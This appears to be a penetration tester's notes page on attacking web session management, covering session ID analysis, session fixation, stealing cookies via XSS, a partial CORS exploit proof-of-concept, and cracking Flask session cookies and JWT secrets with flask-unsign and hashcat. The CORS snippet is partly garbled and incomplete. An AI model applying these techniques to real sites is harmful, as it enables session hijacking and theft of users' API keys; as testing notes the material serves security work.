Session Management

Purpose of sessions is to associate an authenticated account with the resources they are specifically allowed to access. HTTP is stateless, which is why cookies are generally used to maintain user sessions.

Sessions are implemented by the server or the web app, potentially could be written by the site developer as well.


Used to uniquely identify an authenticated session. These identifiers can be located in the cookies, a custom HTTP header, URL parameters, or a hidden form field.


Gather enough session IDs to determine if there's a common theme or factor. Generally requires specialized tools, hardware, or source code. Determine if they are a set of hashes or not. Are the sessions sequential?

Gather sessions manually, with a script, or using tools like Burp's Sequencer.

Session Fixation

This flaw is when a session ID assigned before authentication continues to be used after authentication. Very potent when combined with a phishing attack.

Stealing Sessions

XSS may be able to steal a session ID if the cookie is not set to HttpOnly.

CORS Exploits

We can exploit the Access-Control-Allow-Origin headers if they allow arbitrary Origin headers in the HTTP request. This can lead to API keys being stolen from users! We can utilize native JS AJAX to steal the information returned by the server.

    <title>CORS Exploit POC</title>
        var req = new XMLHttpRequest();
        req.onload = reqListener;'get','',true);
        req.withCredentials = true;
        function reqListener() {

Web Tokens

JWTs and other tokens are used frequently in web apps. They are used to validate users and session information, and are generally signed with a secret key for integrity. We can either attempt to break the key or ask not to use JWT signing at all.

flask-unsign -u -c "eyJ1c2VybmFtZSI6IkFub255bW91c19Vc2VyIn0.X2h0pQ.BH7pliC3PH_YFeLJDEc2i_Uc7I4" --wordlist /home/kali/Desktop/rockyou.txt --no-literal-eval --threads 8
hashcat jwt.txt -m 16500 -a 3 ?d?d?d?d


Last updated